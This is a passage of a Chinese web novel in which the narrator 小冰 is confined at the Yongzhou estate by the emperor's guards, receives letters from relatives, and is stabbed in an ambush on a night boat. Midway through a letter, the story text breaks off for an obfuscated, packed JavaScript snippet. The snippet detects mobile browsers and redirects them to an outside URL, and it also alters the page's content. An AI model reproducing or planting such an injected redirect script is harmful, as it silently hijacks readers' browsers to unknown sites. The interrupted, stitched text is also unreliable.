心中稍微松泛,幸好今天的一切没朝着更古怪的情形发展。很快我就看到了右无浪,被绑了手脚,封住了嘴,眼里急得冒火。他被困在西院的柴房里,门口站着两名羽林卫。 一名内官在册子上重新登记了他的姓名,而我作为保人需要签字画押。我瞥见了这本厚厚的册簿,雍州老宅内所有人的姓名都录入在册,他们的正名与小名,他们的籍贯和生辰年月,他们有多少亲友和亲友的居住地,还有他们何时入府以及在役多少年。 真是有备而来。不安的感觉再次涌现。 “内使幸苦了。”我朝面前的人微笑,“今天会有一批时令货运来,我还要结算尾款。劳烦内使通知大门,等货品到了通知我。” 那位内官也微笑回答:“这是自然。府内一应事务,都会安排妥当。姑娘不必操心。” 他又问了右无浪一些信息,诸如在京都是否与人同住,是否有家眷,足足问了半柱香的时间,才在册簿上誊录完。右无浪终于被松了绑,他像一条鱼一样翻身起来,接着一把抓住我拉到门外。 “三小姐,这些人阴阳怪气的。”他在羽林卫的面前,大声同我商量,“怀东少爷呢?还有我们家公子去哪了?还是找他们来安心点。” 我摇摇头,表示没有见过他们。 “昨晚你在哪?有没有去过北院的屋子?” 右无浪说:“昨天下船回家,我乏力得很,就在边门的耳房睡着了。今早醒过来,只看见三小姐。” “有没有见过老爷?” 右无浪又说:“老爷不是一直陪着圣驾麽?北院那里封得严实,都不让进去。” 叔父一直陪着圣驾?从昨晚到现在,他都没找人给带个讯息给我们。我猛地转身,大风扑面而来,朱翼还在中厅,等着同我去北院。 “三小姐,”右无浪终于压低了声音,在我耳畔低语,“我才发觉,家里的东西好像被人挪动过。说不上来动了哪里,但是,就是和从前不一样。” 终于,他也觉得不对劲了。而记录完毕的内官将册簿夹在腋下,静静等候我俩说完。 “按照规矩,右无浪去西院静候,不得喧闹。” 内官用尖尖的嗓音宣布完,原先在门前的两名羽林卫就反弹似架起右无浪。那两个大汉夹着右无浪,就和夹着小鸡一般,在我的惊愕与他的抗议下,没一会就不见了踪影。 内官又走到我面前。 “三小姐,请回屋休息。” 我笑道:“刚才内使让我去北院用饭。” 内官回答:“那是给府内大小姐的带话,三小姐的饭食已备在您的住处。” 纵然四周没有羽林卫,可是我明白此刻是走不到北院的。当身入囹圄的情势明朗之后,我反而不那么紧张了。 我同他聊起来,大致恭维他们的不辞劳苦。故意在绕着回廊和中厅走了几圈,果然朱翼已不在原地等候。 疾风骤雨都是一起来的,等回到花圃,连绵的雨已把萎靡的花苞打得变形。我捧着微颤的花骨朵,让冰凉的雨从脖子流到了背心。天色阴沉,乌黑的云将雍州包裹起来。他是不准备放过我们吗。 那夜一直下雨,而我像被世界遗忘一样,独自坐在大屋进门处最显眼的四方椅上。如果前半夜伴随暴雨袭地,让我充满恐惧与担忧,那随之而来的,风声呼啸的后半夜,我心中交织的五味都化作了愤怒。那是无法解释的愤怒。也许我本身就不是一个良善的人,是南宫简的庇护让我暂时柔情地面对世界,如果有一天,他的庇护消失了,那我的本性就会戳破那层屏障,内里翻滚的凶恶并不比那些被斩首的暴徒要少。 天蒙蒙亮的那刻,终于有人来找我了。来人很惊讶地看到我坐在屋子正中,纹丝不动。 “三小姐,请去一趟北院。” 分开聆审。我把自己收拾了一番,弄得体面点。 “内使幸苦了。”我微垂脖颈,装得温顺无害。 北院中多围了一层羽林卫,他们都佩戴金黄色的腰牌,在小仓那年,就是这群人把受伤的长丰接走的。我绕着路走,叔父的屋子大门禁闭,从长丰驾临大宅,他再也没有出现过;而怀东的衣裳还晾在外面,昨晚大雨,显然他也没有回来。 继续绕路。如果我身在长丰的处境,今天要处理的事,越少人知晓越好。他不会告诉镇国公府,也不会惊扰不知情的人。所以,不相干的人都肃清了。他要应对的,只有确定的几个人。 北院的大门敞开着。既然昨天,他已然问过朱翼,那么今天,他是找我来核实的。 “三小姐,很久没见了。” “过来喝杯热茶。”他制止我即将要行的大礼。他好像非常厌烦这些礼节,尤其对一名微不足道的女子,叩拜没什么意义。 “不用害怕。”他对我说,“我只是在回忆。上次见面,你们还在京都做客。” 我低着头,与他保持恰当的距离。 那时屋内的晨光还未射入,而我与天子隔着一层薄纱,随着袅袅而上的熏香,使得我与他都看不清彼此的表情。 “三小姐,你有什么要对我说的麽?” 在晦暗不明的空间内,我卑微地跪在一旁,卑微地恳求:“请陛下,把我的家人还给我。” 在温和无害的熏香里,我体味着刀刃边的血腥气。 而对面的男子,仿佛身在遥远的地方,他的声音也是从远方飘来的。 “那也请你们放过我,把东西给我。” 我抬起头,帘帐 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“我明白,”刀刃都快嵌入脖子了,我觉得很疼,“既然如此,养女怎么会知道呢?陛下,小月她都知道,你去问她啊。陛下,别杀我…” 他真的要杀我麽?我都能感觉到脖颈上脉搏飞速的跃动。上次,他就把一个女人的脑袋砍了。想到自己脑袋要和身体分家的场面,我嚎啕大哭起来。 “听说,三小姐如今是管家的人,”长丰依然握着剑,他居然亲自动手,而屋子里没有其他人,“告诉我,最近家里谁出过远门?” 我打了个冷颤,被他吓坏了。眼泪止不住地掉,脖子上一直在渗血。 “没有人出远门,”我连忙回答,“只有做货物采办的经过,往来经过都记录在案的。” 在长丰沉思的片刻,我也低下头啜泣。朱翼会告诉他什么?只要拿她父亲的生命威胁,朱翼什么都会说的。 “小仓山,我已经派人去过。小月说的那个洞穴,我也叫人封掉了。可是,石碑不在那里。”他冷峻的目光,沿着血色的刀刃游走,“谁把石碑带走了?” “陛下,我真的不知道。”幸好叔父没有告诉我们,我的哀求声很恳切,“叔父让我管家,一言一行,老宅的所有人都看得到。怎么可能去带走石碑呢?” 而对面的男子渐渐垂下头,他吐出的气里,有无尽的无奈与失望。 就在我也松了一口气的同时,他突然抬起头,刀刃反射着凌厉的光。我还未反应过来,只觉得后颈受了一击很轻的拍打,然后身体便如羽毛一样,轻飘飘地下落。尔后,我就撑不开眼睛了。 很久之前青川说过,小冰要懂得感恩。有人收留我,教养我,待我如亲生;还有他的女儿陪伴我,同我分享她的父亲,并且从不嫉恨我。青川说自己做不到,她让我懂得感恩,并且铭记回报。我没把这话放在心上。可是年纪渐长后,我才明白世上很少有无私的付出,而自己是多么幸运。付出与回报是对等的事情,所以,如果叔父或者朱翼,以及雍州的老宅有任何不测,我都会不计回报的付出。 还记得第一次见到朱翼的情景,她趴在我床边,用不谙世事的眼睛望着我。可她没有看见身后的猛兽吗,虎视眈眈地瞪着她。我挥舞着刀棍,喊她快跑,可是喉咙无法发出任何声音。 “小月…”我睁开眼,发觉她还是趴在我身旁。 我很快就警醒了,还在原来屋子里,我的脖子上缠着纱布。有两个男人,站在很远的地方。 “小月,你受伤了麽?”我摸着朱翼的脖子。 她摇摇头,她竟然对我说:“对不起,都是我们连累了你。” 我糊涂了,腾地坐起来。屋子还是封得严严实实,桌上竟然有朵雪莲花。 朱翼对我做了手势,让我不要发出声音。她转头看着帘帐内,那两个男人,压低了声音,激烈地交谈着。 窗户也封住了,屋子里一丝风都没有。只有那朵雪莲,静静地哀伤地绽开着。 帘帐内,叔父在与他交谈什么。我多么希望南宫冒可以醒过来,他可以教教他,也教教我们。 终于,我听到一句非常清楚的怒吼。 “南宫简,你一直在骗我!你欺骗我,你这个骗子。” 整幅帘帐剧烈地摇摆,长丰大手一挥,简直要把纱布拉下来了。 而叔父竟然双手捧着剑,就是刚才架在我脖子上那把剑,上面还有我的血。他要干什么,他跪下来,又把剑捧给长丰。 他要把自己的脖子给献祭了麽? 我紧张望着那把剑,而长丰很自然地接过来。那柄刀的刀刃,反射出的光真刺眼。 我冲过去,抱住长丰的腿。 “陛下怜悯,陛下饶了他吧。” 他俩没料到我突然醒了,又胆大包天地冲过来。可我顾不了什么,天子的心意实属难测,我不能冒一点险。 “陛下,他是您的师兄啊。南宫世家,一直忠于朝廷。”我死死抱着长丰的腿,他动弹不了了。 而叔父却呵斥了我,这是他头一次在外人面前呵斥我。 “小冰,闭嘴。退下去。” 我不肯放手,突然想到什么。 “陛下,南宫世家的家翁如有不测,世人一定会议论纷纷。陛下请三思。” 长丰低下头。 “你说什么?” 而叔父一把将我拉开,又扇了我一巴掌。 长丰哈哈大笑起来。我一直瞪着那把剑,光滑的剑刃里可以倒影出我的眼睛,我真像一只小兽在咆哮。 惊魂未定,我大口呼吸着。这时朱翼走过来了,她手里捧着那朵雪莲。 她从容走过来,不紧不慢的。她的姿态多么优雅,连长丰都愣住了。她举起那朵哀伤的雪莲,在她父亲与我的注目下,对长丰说:“陛下,南宫世家愿意履行约定。请陛下放下剑。” 21. 南宫世家(十五) 长丰在雍州待了三天。他的羽林卫可以做到让老宅与世隔绝,并且是不着痕迹的。他离开的时候也悄无声息,倒不是他得到了想到的东西,而是他不能离开京都太久。 他对朱翼说,他会在秋收典仪过后来接她,并且昭告天下这桩联姻。 “小月,总有一天你会明白,我对你的呵护之心,就像我呵护日月山河,那么真挚。” 当时他手持利剑,那把悬在叔父脖颈上的剑,最终还给了朱翼,尔后他对她说了这句话。他是说给朱翼听的,也是告诉他的师兄。而后者则被女儿的决定惊住了,他难以想象在十几年的忧思与挣扎后,他又回到了相同的结局。 他颓丧退回到重叠的阴影里,并且那股颓丧静静蔓延闷热的大屋,以至于他都不在乎长丰到底说了什么。 “师弟,石碑在很安全的地方。它永远,永远也不会被世人找到了。”最后,他只是重复这样说。 “是吗?那很好。”长丰坚毅的下颌线,没有被蔓延的颓丧影响半分,“师兄,这次我特地过来,亲自问你,是为了顾全我们师兄弟的情分。” 三天后的清晨,老宅迎来了一丝阳光,等我看得清楚点,院里院外已经没有京都的痕迹。一切如旧,熟悉的女人们进来打扫屋子,而墙外的小巷里,还传出小贩叫卖冰糖的吆喝声。 可是一切都不一样,即使沉闷了很久的云朵终于散开。我摸了摸脖子上的伤口,还有自己苍白颤抖的手。老宅并不是一切如旧,它被人彻彻底底地搜检过了。而且,这一切还没结束。 我两手相握,它们不能再颤抖,我还要用两手,阻挡未知的凶险呢。老宅的大门重新打开,怀东与井生像两匹小马驹一样冲进来。 “小冰妹妹,为何府内许出不许进?其他人呢?”怀东四下张望,他年轻的脸上有些紧张。 “三小姐,你的脖子怎么了?”井生则大声质问着。 我走到大门口,反复看了几遍,羽林卫真的走了,连路过的风都没惊动。亏得井生还老在我面前夸耀,说自己和自己训练的府兵多么有能耐。南宫府的大门突然封闭,他都没有警觉吗。 “我们都觉得有些奇怪。后来阿博说,也许陛下和世叔有些机密事要商议,他们私交甚笃,劝我不要去打扰。小冰妹妹,是这样麽?” 卞怀东是警觉的,同时他也很疑惑。 “没错,陛下和世叔面谈机密的事,而我们最好回避。”我怀着爱护幼崽的心态,直觉性地把他挡在危险之外。 他看了一眼我的伤,显然不相信。并且他对我的隐瞒非常伤心。 我想起朱翼捧着剑,满眼诚恳,期望长丰不要伤害她的父亲。怀东哥哥,不要伤心,这样我和小月都会心怀愧疚。 “小月生病了,我还要找人去买薄荷膏。”我对他说,明显是让他去买。 他点头,同时脱掉了一身戎装。我这才发现,他穿着软甲,又佩戴金刀,腰间还缠着飞镖。他不再随时随地,露出白牙大笑了。 怀东哥哥,让小月亲口告诉你吧,如果有一天你们要分离。 一个月后,我收到京都娄府的一封信。高贵的娄夫人居然写信给我,看来叔父一直没理他,她只好转寄给我了。 “小冰,展信安。圣上月前驾临雍州,是否为提亲之事?我在京都被问及多次,都搪塞过去。请兄长明示我们,若婚事已定,那我即可准备筹办。近日,陛下一直召我入殿闲话,对世家恩宠优渥。柱郎与我商议,婚事必要风光大办,不可委屈小月。如有任何决策已定,请即可告之娄府。 另外代转告兄长,前桥阁一切事务平稳。陛下召见成安侯一次,极为隐秘,前桥阁一无所知。不过此人已调任邺城,大致与南岭安防牵扯之事,与我们无关。 再多嘴一句,我已知晓你与镇国公府订亲。兄长疼爱你,我们也乐见其成。不过国公的爵位并不袭至后代,至于怀东的未来,也要视他的贡献而定。你与小月亲厚,我才提醒一句。从前的交恶掩去不提,我和柱郎都愿意接纳你,为世家的繁荣稳定。” 自作聪明的势力女人,我把信扔了。 长丰召见南宫秀绢入殿闲话,还多次,他和她之间有什么好说的。 接着我又收到青川的信。 “小冰,我很早就想写信给你,听说你在雍州霸道得很,把毛大灰和几名老仆赶到小岛上养生,实在太过分。等我挪出空来,一定来雍州好好收拾你。 如今既然你在管家,那世叔有没有空来西北一趟?前几天我们收到圣谕,要求七月盛夏外祖父入京述职。西北大营自成体系,每年春秋由都统述职,并不要求伏波将军亲自入京。而且,外祖父年老糊涂,有时连我都认不出,怎可盛夏长途劳顿。我们远在天边,并不知晓如今圣意为何,请转告世叔,让他代为定夺。” 我捏着信纸,青川姐姐,要是此刻你在雍州就好了。我总觉得会发生一些事,有你陪伴我,可以安抚我焦躁不安的心。 海面上层层乌云卷起,雷声滚滚,转眼快到七月。老宅幽深而寂静,树枝交织成网,浓郁的绿叶挡去了气息,我连夏天的炙热也感受不到,只觉得闷热,暴雨即将来袭。 佑珍的信是定期每月一封,这次却晚了十日。 我展开信的时候,正好是怀东来与我道别,他身后还跟着右无浪。 “小冰妹妹,我是来道别的。”他晒得更黑了,比起一个月前也精神点。 怀东说,他申请去蜀地的大营受训,终于得到了回复。 “汉章院教会我很多东西,可总是行文读章的本事。我一直想过真实的生活,像祖父似的,在战场拼搏,为了自己,也为了家族荣誉。胸膛可以贴着大地,目光也能眺望天空。小冰妹妹,你能理解麽?” 我试图去理解。刚才佑珍的信是这样说的。 “小冰,真是天要塌了。卢家被下放到蜀地当个州吏,他们一定是得罪皇城了。可我就是想不通,公公素来谨慎,怎么会得罪京都的人?研究这些也晚了,昨晚收到的圣谕,七月就要启程离开巴陵。孩子们吵得不可开交,你的姐夫唉声叹气,一点忙也帮不上,我的头痛病也发作了。 你在雍州过着富贵生活,我们可羡慕了。如今发送去蜀地,那种不毛之地怎么住人,连像样的房舍都没有。孩子们的未来可怎么办?还有阿楚,她还没嫁人,难道在当地找个粗野汉子吗?你帮我想想办法吧,或者问问世叔,请圣上收回圣意。反正你要帮帮我,蜀地我是不会去的。” 不知道怀东去的大营在蜀地何处方位,千方不能让他碰到佑珍。我可不想让他知道,佑珍是我的亲姐姐。 我也想知道,叔父和朱翼,他们会答应他的远行吗。 怀东说:“世叔的意思,是让我来问你。至于小月妹妹,她很高兴我能离开。” 我注视着这位七尺男儿,他那副精神模样是伪装的吧。不,卞怀东是不会伪装的,他把挫折与灰心自己消化了,然后坦然面对结果。 “小冰妹妹,我与你的婚约…” 我摇着头,他居然还记得这事。 “你不用管这个。叔父不会勉强这件婚事。至于姑奶奶,让我写信告诉她吧。女人家说起来比较方便,你不要插手了。” 他笑了一下,仿佛很喜欢我的果决行径。 “还有一件事,”他指了指后方,在老榆树下等待的右无浪,“我想带上无浪同行,他与我一样,想去看看蜀地的天空与大地。” 我早发觉右无浪雀跃的表情了,肯定是他怂恿怀东带上他的。果不其然,他笑眯眯走过来。 “蜀地生活艰难,东少爷得找个跟班照顾他。刚才老爷也说,他不放心他一人过去。” 他说最后一句的时候,神情略微踌躇。停顿片刻,他凑到我耳边。 “三小姐,我猜老爷更愿意你陪他去。” “哦?”我睇他一眼,“那你怎么抢了这个差事?” 他回头,不安分地左顾右盼。怀东听到他在我耳边的低语了,也明白我在故意磋磨他。 右无浪大声说:“这次就让我去吧。长这么大,我都没干过正经事。每日在深宅大院,火气都消磨没了。” 我笑道:“小船王同意麽?他可是你的正经主人。” “三小姐,这是少爷给我的银钱,还送我一双鞋。”他把证据拿给我看,“少爷还说,你走了也好。要是在外面过得不如意,以后再回家来。” “少爷对我真好…”他感动极了,两眼泛泪,一想到能够出远门玩个痛快,泪花都泛滥了。 小船王真的对他很好,好得出奇,我想起那个左无风,心里更困惑了。 “三小姐,”他知道我同意了,开心地勾着怀东的胳膊,两个人都乐呵呵的,“我们去个一年半载就回来。你就等着吧。等东少爷回来,就用花轿子娶你过门。你一定要等我们回来。” 于是,收拾行李的一番忙乱和喧闹后,我们送走了怀东和右无浪。老宅立刻静得出奇,我在深夜写信,都能听到池塘里扑腾的金鱼。给西北大营的回信最紧要,叔父在口述,而我在誊录。 “告诉青川,既然已有圣谕,伏波将军务必走一趟京都。让尤七同行,盛夏天长途跋涉,以老人家的身体最为要紧。至于述职一事,让乔三虎决定同行之人。此行述职在次,重要的是让圣上知道,西北大营一直谦卑恭顺。到达京都后,可以住在镇国公府,有任何紧要之事,府上会立刻同雍州联络。” 他看我执笔不动,就问怎么了。 我觉得四周太静,心中渗着凉意。老宅里只剩下我们父女三人,还有默不作声的小船王。所有明亮的声音,都在沉闷的夜色里湮灭。 我哑着嗓子,在黑夜里问道:“既然陛下早知道伏波将军的病情,为何召他入京?他连话都说不清楚。” 叔父没有回答,他的面庞也沉浸在黑夜里。 我把给青川的信写好了,又把娄夫人的来信交给他。 他很快看了一遍,并未议论其它内容,只是随口问了句,成安侯入京所为何事。 于是我也很快写好给娄夫人的回信:请前桥阁代为关注成安侯府,其余诸事再议。 “小冰,你觉得陛下为何要找成安侯,又不让议政大臣们知道?” 我耸耸肩,一点也不关心。 叔父微笑道:“因为有些事,不能摆在明面上处理。而不能用正常途径解决的事情,通常…” “通常要用鲜血与眼泪去交换。”我接口。 这样揣测对不对。就像雪巢的幽灵,它永远不会出现在前桥阁的议题上。 我渐渐握紧拳头,心中冉冉而生不成形的恐惧。 “卢老翰林被贬到蜀地去了,也是在七月。” 这是巧合吗?还是我太敏感?似乎与我们有关联的人,都在今年夏天接到圣谕。他们从闹市被赶到荒地,也从边疆被拉回京都。 长丰是不会善罢甘休的,他那天用坚毅的眼神宣告过。可是朱翼已经答应联姻,就代表南宫世家与他荣辱与共。他若再进一步,想夺回或者销毁那块石碑,就是背弃先祖的契约。 他会怎么做?这样无休止的忧虑真让人倦怠。我把沉重的头靠着叔父肩上,又玩起他大大的手掌,就像小时候,在小仓山纳凉的情景。 “小冰,你有没有觉得,双脚陷在流沙里,越挣扎,你的身体就越往下沉。” “你带上我和小月离开这里吧。我们可以去蜀地找怀东哥哥,也可以扬帆远航,去看看海浪和鲸鱼。” “我年轻时,也这么说过。可是父亲说,逃跑的人是懦夫。” 我不会逃跑,我也不明白懦夫是什么意思。七月过半,雍州收到了来自京都皇城的急报。信是寄给朱翼的,她把它拿给父亲。 “阿爹,大约又是说九月份大典的事,你看看吧。”她瞥见封皮上的字迹,知道是长丰寄来的。 我拆开信封,里面掉出来两种信笺,其中一封字迹婉约,是阿志姑姑写的。 “小冰小月,你们还好吗?自从回到京都,我的情况不是很好,每日吐血腹泻,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181320|165287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能长期卧床。猜想时限已至,我只能安然知命。还记得答应过我的事吗?来内宫看看我吧。如果路已走到尽头,我希望有真心人陪伴。如无要事搁置,请尽快启程。我怕自己等不到秋收之后。” 朱翼嚯地站起来,立刻就要去京都。 我又读了一遍长丰附在后面的信笺,大致是相同的意思。他只是解释了阿志的病情,大概是旧毒复发,如今已无力回天,希望朱翼能入京一次。不过他也提醒我们,这次行程不要对外张扬。因为婚事尚未昭告,而南宫府的千金千里迢迢去看望一介内宫女官,会引起京都内眷的非议。 朱翼的心思都在阿志身上,她未料到短短两月,对方竟然衰弱到如此地步。而她信任的尤七老爷正在照顾伏波将军,也不能带进内宫帮忙。 我把信笺攥手里反复翻转,思忖阿志姑姑真的病了吗?这的确是她的字迹。为了谨慎行事,我叫府兵当日就去京都打探真伪。来往海峡的官船是每日一班,府兵最快后日晚间才能回来。 而朱翼则等不及了,她说我疑神疑鬼,明天她就要坐船去京都。 “叔父,要是姑姑没有病,那为何要小月提前入宫。事有蹊跷,我们要谨慎。”我知道只有说服了她的父亲,她才肯罢休。 “我不懂有什么蹊跷。早去晚去,有什么不同。”她怒目相对。 的确没什么不同,我一时答不上来。而朱翼一直劝说她的父亲,她说要是小冰不愿同行,明天她就一个人去。 其实叔父也有片刻的犹疑,他思索了很久,才对女儿安抚说道:“等人回来后,晚间再开一班夜船。小月,就只差一天。就算明天你坐船到京都,还要赶到皇城,到时忠顺门已经关闭了,你是进不去的。” 朱翼对人的赤忱是我一直不能比拟的。她与阿志没有见过几次,却对她非常敬重和同情。也许是阿志的性情与她投缘,也许阿志的遭遇令她看到了自己的命运。她一直说我疑神疑鬼,她对于阴谋与背叛是从心里轻视的,并且不屑谈论它们,因为思索那些东西,就是贬低了自己。 可是她也知道,水晶墙外布满污泥与沼泽。那天她在港口凝望京都的方位,然后对我说,这次她要一个人去。 我翻着上眼皮,算了吧,船只要颠簸几下,你就吐得人事不知。 “小冰,”她的手爪跟章鱼似的,紧紧抱住我,“我会好好当皇后的,打消陛下的疑虑,让他重新信任阿爹,就和…就和往昔岁月那样。你放心好了。” 在她的决心下,我们等到了第三天。我发觉只有井生和我们同行,而我想多带几个府兵。 叔父说:“船到了对岸,会有国公府的人来接。我早已支会绵水夫人,你不要担心。” 其实我内心一直有个提议。 “叔父,既然西北侯与你亲厚,这次去京都碰面,能不能问他要些人过来,把咱们家的府兵好好整治一番。” 对面的中年男人笑着望我一眼。 “你想干什么?女孩子要温柔平顺,不要老是钻研打打杀杀的事。” 我是要防御,哪里钻研了。 傍晚时分,派去的信使回来了。阿志姑姑的确病得很重,镇国公府还送了野山参。既然消息已确认,那我们立刻启程,只是加开的夜船要交班,所以还需要在码头再等候一个时辰。 浑圆的落日还挂在海平面的上方,非常潮湿与闷热。而海面则出奇宁静,刚才到港的船上几乎没几个人,船员陆续收拾背囊后离开了,港口只剩下我们几人在等待。 今晚一定会下雨,滚滚而来的乌云悬在头顶,我心跳得很快,就快不能呼吸了。我离开港口,那里喘不上气来,还是悬崖那边高耸空旷,还依稀流转着日光。 井生让我不要走远。可我还是朝悬崖走去,如果没有看错的话,刚才一晃而过的人是左无风。前段时间的忙乱让我忘了这个人,所以刚才,当危险靠近的时候,我竟然没有认出来。 他来干什么?我也差点忘了小船王。我们走后,他就一个人留在雍州了。他们两个人,准备密谋和盘算什么事情。 左无风瘦如槁木,穿着非常诡异的黑斗篷,就如一阵黑风飘过。我追踪他的足迹,在半山腰就失去方向。爬到悬崖顶的空旷地,他依然不见踪影,取而代之出现的是小船王。 他独自站在崖边,望着港口即将启程的船。 “你来和我道别的吗?妹妹。”他回头看着我。 我觉察四周,仿佛没有其他人的痕迹。 “左无风呢?我刚才看见他了。” 他笑了笑。 “找他干嘛?你还是离他远点好。” 小船王今日的神情与以往不同,以往他要么伪装成乖觉的少爷,要么是凛然的恶魔。而此刻,他就像一个普通人。 我望了一眼,他望着的方向。 “你是来和我道别吗?”他又问了一次。 我早就告诉过他,我们会出发去京都几天,连原因都没有隐瞒。 “你要是在雍州觉得寂寞,就来京都吧。我们会住在镇国公府。”我好心说道。 他的嘴角牵扯出一丝笑意,瞧着我的眼神很古怪。 “我不去,外面很危险。” 他的语气更古怪。我想起我与他第一次在这里见面,他用遥远的金雀王朝来试探我。 猛然打了冷颤。 “让我亲亲你,妹妹。” 我错愕地瞪着他,而他扳过我的脸,毫不留情地亲起来,亲到嘴唇的时候,我也毫不留情地咬了他。 他的指尖碰到了血,就露出凶狠的牙齿来。此刻悬崖的日光消失了,对面的男人露出带血的牙齿,凶狠而贪婪,很像…很像那天晚上的左无风。 在我意识到这点后,突然发觉,他身上隐藏的某种本性,同左无风有什么区别。 我掉头就走。 “你害怕大海吗?小冰。” 他在很远的地方,隔着交错的风问我。 我没有回头,不安的感觉越发强烈,我要尽快回到叔父身边去。 22. 南宫世家(十六) 港口乌黑一片,而海面依然平静。码头上只悬挂一盏微弱的油灯,夜晚时分起了一层薄雾,以至于连船身都看不清楚。我望一眼空荡荡的码头,只有这班夜船是载我们去京都的。 朱翼在船舱里朝我挥手,催促我赶紧登船。而此刻,夜班的船员陆续路过我身旁,他们收锚扬帆,预备启航了。他们倒是步伐整齐,我心里想。甲板上湿漉漉的,把我的鞋都浸透了,在闷热的夜晚,我浑身上下都是汗水。 灰色的巨帆如庞大的网展开后,我们的船慢慢驶出了港口。朱翼坐在我身旁,细数着带给阿志的花籽。船舱里有点热,另外两个男人待不住,都走出去了。 薄雾依然包裹着船身,而船缓缓行驶,就像行驶在云河里。周围漆黑一片,就像去往地府的云河。 我被自己的想法惊醒了。 “小月,平时码头总停泊很多小船,怎么今天一艘也看不到?”我几乎在自言自语。 真是奇怪,我走出船舱,去甲板上找叔父。而叔父面朝船体,正注视着高耸的巨帆。 “小冰,这艘船同官船有些不同。它还有一层暗舱。你瞧,船体整个高大不少,可是我们待的船舱,却比以往的官船小一些。” 那时,翻滚的乌云仿佛裂开一样,眼前划过一道微光。 “叔父,这是一个圈套。”我几乎可以肯定,从我们收到阿志病危的消息开始,或者更早,这就是一个圈套。 他用温热的大掌握住我的手,而我正攥紧拳头。又来了,就像孤零零面对暴雨的那个晚上,我惊慌而愤怒。 这时天空劈过一道闪电,借着转瞬即逝的明亮,我看清这艘船根本不是官船,它不是运送商旅的船。它行驶得非常快,没有朝对面港口开去,而是朝向更深更广的海面。 叔父把我的手捏得生疼。“小冰,我会用他要的东西,来保住你们的命。” “不要交给他,千万不要。”既然要在无人的海域做交换,那么今晚,势必九死一生。 这时甲板发出刺耳的咯吱声,我在夜色里分辨,原来是井生。他踉踉跄跄地,朝我们走过来。 “三小姐…”他笑嘻嘻看着我,“我去讨了杯酒喝,还不错。” 叔父一把提起他的后颈,强迫他把酒吐出来。我突然想到朱翼,拔腿朝船舱奔去。 “你怎么了?”朱翼借着舱内明亮的烛光,正在看一本野史蜀地志。 我拉起朱翼就往外走,我知道大型楼船的两侧,都会备有求生小艇。 “我们要离开这里。小月,找找有没有浮囊,把它们缠在腰上。” 也许朱翼被我的脸色吓到了,她一动不动停在原处,目光瞅着我的背后。 回过头,只见叔父扶住井生走过来,井生不像喝醉了,他吐得也不是酒。 “多拿点水来,让他把东西吐出来。”叔父命令我们。 “阿爹…”朱翼的手里还捧着花籽,她挑选了很久,一定要送给阿志姑姑。 我抓起水囊,叔父掰开井生的嘴,水沿着井生的半张脸,流到他脖子凸起的青筋上。 “阿爹,”朱翼叫起来,“他的眼睛怎么红了?” 而我连续拍打井生的脸,我的手又湿又冷,又止不住颤抖。 这时,整个船体突然放慢节奏,而所有人朝前方扑去,趁着这一记作用力,井生突然恢复了意识,张嘴喷出一口鲜血。 “啊…”他喊了一声,然后转着头,不知要找什么。 船停了,四面大海茫茫。甲板上又响起脚步声,步伐紧凑而整齐,每一蹋步都震动着船身。 叔父拔出手中的佩剑。 这艘船上,除了夜班的船员,还会有谁?不,连船员都是圈套。那些整齐的脚步声,他们是一伙的。 这两个月中发生的琐事在我心中流走,的确都是些琐事,写在信上告诉了我们。那些信,随着甲板上的脚步临近,渐渐浮在水面上。 舱门打开了,我一点儿也不惊讶。 叔父对峙着成安侯,而我瞅着王珒。 “小叔叔,你也来了。” 井生挣扎着坐起来,他是要找他的佩刀。 王珒没有看我,只对他说:“小护卫,劝你省省力气,越使力,你死得越快。” 叔父用剑指向他,示意他离我们远点。 王珒后退了一步,接着拍拍手,船舱四周立刻涌现出虎视眈眈的背影。 “侯爷,开条件吧。”叔父告诉成安侯。 这时船外淅淅沥沥下起雨来,而原先静止的海面突然刮起大风,整艘船不停摇晃。 成安侯的模样改变不少。两年前,他在烈日炎炎之下为长丰所用,而如今,他却要在阴霾纵横的黑夜中杀人嗜血麽。 “少全,陛下要一样东西,他说你知道是什么。这里还有一道圣谕,等东西封箱后,我就会让你知道。” 叔父转过冰冷的眼眸,而成安侯的剑立刻架在他的脖子上。 “侯爷,先读圣谕。” 对方摇摇头。 “这由不得我做主。” 叔父就说:“那你什么也拿不到。” 对方依然摇摇头。 我不明白他灰色的脸庞做出了什么暗示,可是王珒突然像豹一样冲过来,扣住我的脖子,把我扔到船舱的角落。 朱翼惊恐尖叫:“你要干嘛?” 而叔父同时朝她大喊,小月,退到后面去。 我与他们对视,须臾之间,成安侯又问了一句。 “东西在哪里?” 只过了片刻,只是霎那的停顿,叔父未及反应,王珒就将匕首捅进了我的腹部。 我还未能感受到切实的疼痛,诧异注视着王珒的眼睛。 这时天空响彻一记闷雷,在井生剧烈的咳嗽和朱翼的呼救中,我才真正看到腹部的血涌出来。 叔父沉声说道:“王善香,看来圣谕的意思是不要我们活着。那你凭什么来要东西?” 可是对方根本不为所动,只是冷漠地摇着头。 “少全,你猜三小姐还能挨几刀?” “不。”朱翼听出了其中的含义,立刻扑过来,抱住王珒的手臂,“你们要的我都给。去告诉他,他要什么我都给。” 王珒打了一记暗号,舱外立刻进来两人,都蒙着面纱,将朱翼禁锢到边角。 成安侯灰色的脸庞凝视着叔父,而王珒又取出一把匕首,剑锋抵着我的胸口,似乎只等他再摇摇头。 “阿爹…”朱翼拼命朝父亲求救。 成安侯突然笑道:“看来少全不明白今晚的形势,也不懂陛下的决心。” 他刚说完,我只觉得锁骨下方一阵剧痛。王珒手持匕首,半垂眼睑,居然莫名地笑。而那时我痛得呻吟了两声,他托住我的背,把我推到阴暗无光的木棱边上。 “阿爹…”朱翼厉声说,“把石碑给我。王善香,我会带着石碑去皇城的。我是未来的皇后,我向你保证。” 成安侯依然不为所动,他只是专注地要完成任务。我预测今晚,自己非死即伤了。 舱外似乎下起瓢泼大雨,雨滴落在甲板上,跟打鼓似的。我视线模糊,王珒扣住我的手腕,好像又多了一把匕首。 